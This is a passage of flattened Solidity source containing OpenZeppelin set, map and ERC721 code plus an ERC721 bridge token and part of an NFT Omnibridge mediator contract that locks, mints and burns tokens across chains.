O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/EnumerableMap.sol pragma solidity ^0.7.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { return _get(map, key, "EnumerableMap: nonexistent key"); } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint256(value))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key)))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key), errorMessage))); } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.7.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // If there is no base URI, return the token URI. if (bytes(_baseURI).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(_baseURI, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: contracts/tokens/ERC721BridgeToken.sol pragma solidity 0.7.5; /** * @title ERC721BridgeToken * @dev template token contract for bridged ERC721 tokens. */ contract ERC721BridgeToken is ERC721, IBurnableMintableERC721Token { address public bridgeContract; constructor( string memory _name, string memory _symbol, address _bridgeContract ) ERC721(_name, _symbol) { bridgeContract = _bridgeContract; } /** * @dev Throws if sender is not a bridge contract. */ modifier onlyBridge() { require(msg.sender == bridgeContract); _; } /** * @dev Throws if sender is not a bridge contract or bridge contract owner. */ modifier onlyOwner() { require(msg.sender == bridgeContract || msg.sender == IOwnable(bridgeContract).owner()); _; } /** * @dev Mint new ERC721 token. * Only bridge contract is authorized to mint tokens. * @param _to address of the newly created token owner. * @param _tokenId unique identifier of the minted token. */ function mint(address _to, uint256 _tokenId) external override onlyBridge { _safeMint(_to, _tokenId); } /** * @dev Burns some ERC721 token. * Only bridge contract is authorized to burn tokens. * @param _tokenId unique identifier of the burned token. */ function burn(uint256 _tokenId) external override onlyBridge { _burn(_tokenId); } /** * @dev Sets the base URI for all tokens. * Can be called by bridge owner after token contract was instantiated. * @param _baseURI new base URI. */ function setBaseURI(string calldata _baseURI) external onlyOwner { _setBaseURI(_baseURI); } /** * @dev Updates the bridge contract address. * Can be called by bridge owner after token contract was instantiated. * @param _bridgeContract address of the new bridge contract. */ function setBridgeContract(address _bridgeContract) external onlyOwner { require(_bridgeContract != address(0)); bridgeContract = _bridgeContract; } /** * @dev Sets the URI for the particular token. * Can be called by bridge owner after token bridging. * @param _tokenId URI for the bridged token metadata. * @param _tokenURI new token URI. */ function setTokenURI(uint256 _tokenId, string calldata _tokenURI) external override onlyOwner { _setTokenURI(_tokenId, _tokenURI); } } // File: contracts/upgradeable_contracts/omnibridge_nft/BasicNFTOmnibridge.sol pragma solidity 0.7.5; /** * @title BasicNFTOmnibridge * @dev Commong functionality for multi-token mediator for ERC721 tokens intended to work on top of AMB bridge. */ abstract contract BasicNFTOmnibridge is Initializable, Upgradeable, BridgeOperationsStorage, BridgedTokensRegistry, NativeTokensRegistry, NFTOmnibridgeInfo, NFTBridgeLimits, ERC721Reader, TokenImageStorage, ERC721Relayer, NFTMediatorBalanceStorage, FailedMessagesProcessor { // Workaround for storing variable up-to-32 bytes suffix uint256 private immutable SUFFIX_SIZE; bytes32 private immutable SUFFIX; // Since contract is intended to be deployed under EternalStorageProxy, only constant and immutable variables can be set here constructor(string memory _suffix) { require(bytes(_suffix).length <= 32); bytes32 suffix; assembly { suffix := mload(add(_suffix, 32)) } SUFFIX = suffix; SUFFIX_SIZE = bytes(_suffix).length; } /** * @dev Checks if specified token was already bridged at least once and it is registered in the Omnibridge. * @param _token address of the token contract. * @return true, if token was already bridged. */ function isTokenRegistered(address _token) public view override returns (bool) { return isRegisteredAsNativeToken(_token) || nativeTokenAddress(_token) != address(0); } /** * @dev Handles the bridged token for the first time, includes deployment of new ERC721TokenProxy contract. * @param _token address of the native ERC721 token on the other side. * @param _name name of the native token, name suffix will be appended, if empty, symbol will be used instead. * @param _symbol symbol of the bridged token, if empty, name will be used instead. * @param _recipient address that will receive the tokens. * @param _tokenId unique id of the bridged token. * @param _tokenURI URI for the bridged token instance. */ function deployAndHandleBridgedNFT( address _token, string calldata _name, string calldata _symbol, address _recipient, uint256 _tokenId, string calldata _tokenURI ) external onlyMediator { address bridgedToken = bridgedTokenAddress(_token); if (bridgedToken == address(0)) { string memory name = _name; string memory symbol = _symbol; if (bytes(name).length == 0) { require(bytes(symbol).length > 0); name = symbol; } else if (bytes(symbol).length == 0) { symbol = name; } bridgedToken = address(new ERC721TokenProxy(tokenImage(), _transformName(name), symbol, address(this))); _setTokenAddressPair(_token, bridgedToken); } _handleTokens(bridgedToken, false, _recipient, _tokenId); _setTokenURI(bridgedToken, _tokenId, _tokenURI); } /** * @dev Handles the bridged token for the already registered token pair. * Checks that the bridged token is inside the execution limits and invokes the Mint accordingly. * @param _token address of the native ERC721 token on the other side. * @param _recipient address that will receive the tokens. * @param _tokenId unique id of the bridged token. * @param _tokenURI URI for the bridged token instance. */ function handleBridgedNFT( address _token, address _recipient, uint256 _tokenId, string calldata _tokenURI ) external onlyMediator { address token = bridgedTokenAddress(_token); _handleTokens(token, false, _recipient, _tokenId); _setTokenURI(token, _tokenId, _tokenURI); } /** * @dev Handles the bridged token that are native to this chain. * Checks that the bridged token is inside the execution limits and invokes the Unlock accordingly. * @param _token address of the native ERC721 token contract. * @param _recipient address that will receive the tokens. * @param _tokenId unique id of the bridged token. */ function handleNativeNFT( address _token, address _recipient, uint256 _tokenId ) external onlyMediator { require(isRegisteredAsNativeToken(_token)); _setNativeTokenIsRegistered(_token, REGISTERED_AND_DEPLOYED); _handleTokens(_token, true, _recipient, _tokenId); } /** * @dev Allows to pre-set the bridged token contract for not-yet bridged token. * Only the owner can call this method. * @param _nativeToken address of the token contract on the other side that was not yet bridged. * @param _bridgedToken address of the bridged token contract. */ function setCustomTokenAddressPair(address _nativeToken, address _bridgedToken) external onlyOwner { require(Address.isContract(_bridgedToken)); require(!isTokenRegistered(_bridgedToken)); require(bridgedTokenAddress(_nativeToken) == address(0)); // Unfortunately, there is no simple way to verify that the _nativeToken address // does not belong to the bridged token on the other side, // since information about bridged tokens addresses is not transferred back. // Therefore, owner account calling this function SHOULD manually verify on the other side of the bridge that // nativeTokenAddress(_nativeToken) == address(0) && isTokenRegistered(_nativeToken) == false. _setTokenAddressPair(_nativeToken, _bridgedToken); } /** * @dev Allows to send to the other network some ERC721 token that can be forced into the contract * without the invocation of the required methods. (e. g. regular transferFrom without a call to onERC721Received) * Before calling this method, it must be carefully investigated how imbalance happened * in order to avoid an attempt to steal the funds from a token with double addresses. * @param _token address of the token contract. * @param _receiver the address that will receive the token on the other network. * @param _tokenId unique id of the bridged token. */ function fixMediatorBalance( address _token, address _receiver, uint256 _tokenId ) external onlyIfUpgradeabilityOwner { require(isRegisteredAsNativeToken(_token)); require(!mediatorOwns(_token, _tokenId)); require(IERC721(_token).ownerOf(_tokenId) == address(this)); _setMediatorOwns(_token, _tokenId, true); bytes memory data = _prepareMessage(_token, _receiver, _tokenId); bytes32 _messageId = _passMessage(data, true); _recordBridgeOperation(_messageId, _token, _receiver, _tokenId); } /** * @dev Executes action on deposit of ERC721 token. * @param _token address of the ERC721 token contract. * @param _from address of token sender. * @param _receiver address of token receiver on the other side. * @param _tokenId unique id of the bridged token. */ function bridgeSpecificActionsOnTokenTransfer( address _token, address _from, address _receiver, uint256 _tokenId ) internal override { // verify that token was indeed transferred require(IERC721(_token).ownerOf(_tokenId) == address(this)); if (!isTokenRegistered(_token)) { _setNativeTokenIsRegistered(_token, REGISTERED); } bytes memory data = _prepareMessage(_token, _receiver, _tokenId); bytes32 _messageId = _passMessage(data, _isOracleDrivenLaneAllowed(_token, _from, _receiver)); _recordBridgeOperation(_messageId, _token, _from, _tokenId); } /** * @dev Constructs the message to be sent to the other side. Burns/locks bridged token. * @param _token bridged token address. * @param _receiver address of the tokens receiver on the other side. * @param _tokenId unique id of the bridged token. */ function _prepareMessage( address _token, address _receiver, uint256 _tokenId ) internal returns (bytes memory) { require(_receiver != address(0) && _receiver != mediatorContractOnOtherSide()); address nativeToken = nativeTokenAddress(_token); // process token is native with respect to this side of the bridge if (nativeToken == address(0)) { _setMediatorOwns(_token, _tokenId, true); string memory tokenURI = _readTokenURI(_token, _tokenId); // process token which bridged alternative was already ACKed to be deployed if (isBridgedTokenDeployAcknowledged(_token)) { return abi.encodeWithSelector(this.handleBridgedNFT.selector, _token, _receiver, _tokenId, tokenURI); } string memory name = _readName(_token); string memory symbol = _readSymbol(_token); require(bytes(name).length > 0 || bytes(symbol).length > 0); return abi.encodeWithSelector( this.deployAndHandleBridgedNFT.selector, _token, name, symbol, _receiver, _tokenId, tokenURI ); } // process already known token that is bridged from other chain IBurnableMintableERC721Token(_token).burn(_tokenId); return abi.encodeWithSelector(this.handleNativeNFT.selector, nativeToken, _receiver, _tokenId); } /** * @dev Unlock/Mint back the bridged token that was bridged to the other network but failed. * @param _token address that bridged token contract. * @param _recipient address that will receive the tokens. * @param _tokenId unique id of the bridged token. */ function executeActionOnFixedTokens( address _token, address _recipient, uint256 _tokenId ) internal override { _releaseToken(_token, nativeTokenAddress(_token) == address(0), _recipient, _tokenId); } /** * @dev Handles the bridged token that came from the other side of the bridge. * Checks that the operation is inside the execution limits and invokes the Mint or Unlock accordingly. * @param _token token contract address on this side of the bridge. * @param _isNative true, if given token is native to this chain and Unlock should be used. * @param _recipient address that will receive the tokens. * @param _tokenId unique id of the bridged token. */ function _handleTokens( address _token, bool _isNative, address _recipient, uint256 _tokenId ) internal { require(isTokenExecutionAllowed(_token)); _releaseToken(_token, _isNative, _recipient, _tokenId); emit TokensBridged(_token, _recipient, _tokenId, messageId()); } /** * Internal function for setting token URI for the bridged token instance. * @param _token address of the token contract. * @param _tokenId unique id of the bridged token. * @param _tokenURI URI for bridged token metadata. */ function _setTokenURI( address _token, uint256 _tokenId, string calldata _tokenURI ) internal { if (bytes(_tokenURI).length > 0) { IBurnableMintableERC721Token(_token).setTokenURI(_tokenId, _tokenURI); } } /** * Internal function for unlocking/minting some specific ERC721 token. * @param _token address of the token contract. * @param _isNative true, if the token contract is native w.r.t to the bridge. * @param _recipient address of the tokens receiver. * @param _tokenId unique id of the bridged token. */ function _releaseToken( address _token, bool _isNative, address _recipient, uint256 _tokenId ) internal { if (_isNative) { _setMediatorOwns(_token, _tokenId, false); IERC721(_token).transferFrom(address(this), _recipient, _tokenId); } else { IBurnableMintableERC721Token(_token).mint(_recipient, _tokenId); } } /** * @dev Internal function for recording bridge operation for further usage. * Recorded information is used for fixing failed requests on the other side. * @param _messageId id of the sent message. * @param _token bridged token address. * @param _sender address of the tokens sender. * @param _tokenId unique id of the bridged token. */ function _recordBridgeOperation( bytes32 _messageId, address _token, address _sender, uint256 _tokenId ) internal { require(isTokenBridgingAllowed(_token)); setMessageToken(_messageId, _token); setMessageRecipient(_messageId, _sender); setMessageValue(_messageId, _tokenId); emit TokensBridgingInitiated(_token, _sender, _tokenId, _messageId); } /** * @dev Checks if bridge operation is allowed to use oracle driven lane. * @param _token address of the token contract on the foreign side of the bridge. * @param _sender address of the tokens sender on the home side of the bridge. * @param _receiver address of the tokens receiver on the foreign side of the bridge. * @return true, if message can be forwarded to the oracle-driven lane. */ function _isOracleDrivenLaneAllowed( address _token, address _sender, address _receiver ) internal view virtual returns (bool) { (_token, _sender, _receiver); return true; } /** * @dev Internal function for transforming the bridged token name. Appends a side-specific suffix. * @param _name bridged 